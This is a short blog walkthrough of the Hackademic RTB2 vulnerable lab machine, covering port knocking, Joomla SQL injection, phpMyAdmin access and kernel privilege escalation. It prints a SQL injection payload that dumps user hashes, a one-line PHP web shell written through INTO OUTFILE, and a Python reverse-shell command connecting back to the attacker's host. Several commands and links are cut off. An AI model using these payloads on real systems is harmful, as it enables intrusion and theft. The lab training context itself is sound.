May 21, 2017

Hackademic RTB2 Walkthrough

   Today I will write a small review about intermediate level challenge Hackademic RTB2. You can download it from awesome vulnhub -

1. Reconnaissance 

As usual I started with netdiscover:

Next step was to scan ports:

2. Enumeration

In reality I spent a bit of time as port 80 did not reveal anything, port 666 was filtered. I used tool called knock-knock ( After running it I saw port 666 as open. I examined source code of the page and it was shown as Joomla. I enumerated target more using metasploit module for Joomla plugins as it is quite often that plugins are vulnerable.

3. Exploitation

I was right: sectionid was vulnerable to SQL injection. As a next step I entered quote to verify whether it was a true:

As a next step I reviewed Joomla documentation to understand in what table user hashes are stored. I did hands-on SQL Injection exploitation instead of using sqlmap. I revealed field that was suitable for data exfiltration, enumerated tables and etc. I used this request to extract information about users:,concat(username,0x20,password)%20from%20jos_users--

This gave me hashes:

I cracked hashes using from Cracked hashes did not give me any new footpath. So I decided to utilize another SQLi option - retrieve files. By default Joomla configuration file located in web root. I assumed that /var/www was default path. After I retrieved file I tried "root" username and password to login in phpMyAdmin.

I was able to login. Then I spent some time to create limited shell. I used this video as an example: To tell long story short: I created database and table in MySQL. Then I used INTO OUTFILE MySQL command to create PHP shell in web root:
SELECT "<? system($REQUEST['cmd']); ?>" INTO OUTFILE "/var/www/cmd.php"

Then I used this shell to create connection back to my machine using python.,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.57.101%22,443));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);[%22/bin/sh%22,%22-i%22]);%27

4. Privilege escalation

After quick enumeration I tried several kernel exploits. Machine was rooted using "RDS socket" exploit - I uploaded exploit code using wget to /tmp, compiled with default gcc and got root.


In general machine was not difficult, there were only few tricky moments to overcome:
1. port knocking - understand that it is in use and find ways to bypass
2. use SQL injection not only to dump hashes but also enumerate files on filesystem
3. shell in phpMyAdmin

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